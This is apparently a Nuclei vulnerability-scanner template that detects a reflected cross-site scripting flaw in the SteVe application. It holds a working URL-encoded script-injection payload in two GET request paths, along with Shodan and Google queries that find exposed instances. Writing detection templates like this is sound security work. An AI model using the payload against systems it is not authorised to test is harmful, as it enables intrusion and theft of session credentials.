id: steve-xss

info:
  name: SteVe - Cross-Site Scripting
  author: clem9669
  severity: medium
  description: |
    SteVe contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/steve-community/steve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
    cpe: cpe:2.3:a:steve-community:steve:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"SteVe - Steckdosenverwaltung"
    google-query: intitle:"SteVe - Steckdosenverwaltung"
    product: steve
    vendor: steve-community
  tags: steve,xss,oss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/steve/services/"%3E%3Cscript%3Ealert(document.domain)%3C/script%3E/services/'
      - '{{BaseURL}}/services/"%3E%3Cscript%3Ealert(document.domain)%3C/script%3E/services/'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>/services/?stylesheet=1">'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100eb01a4ebb16d2f2aca4cea9d06b3633dbb79e64b7e699421b906e2062f7697c402202a1a85da52c8f1698fa13a8ccb19507bd8ae94e7dacb42bc5f545220783d0f23:922c64590222798bb761d5b6d8e72950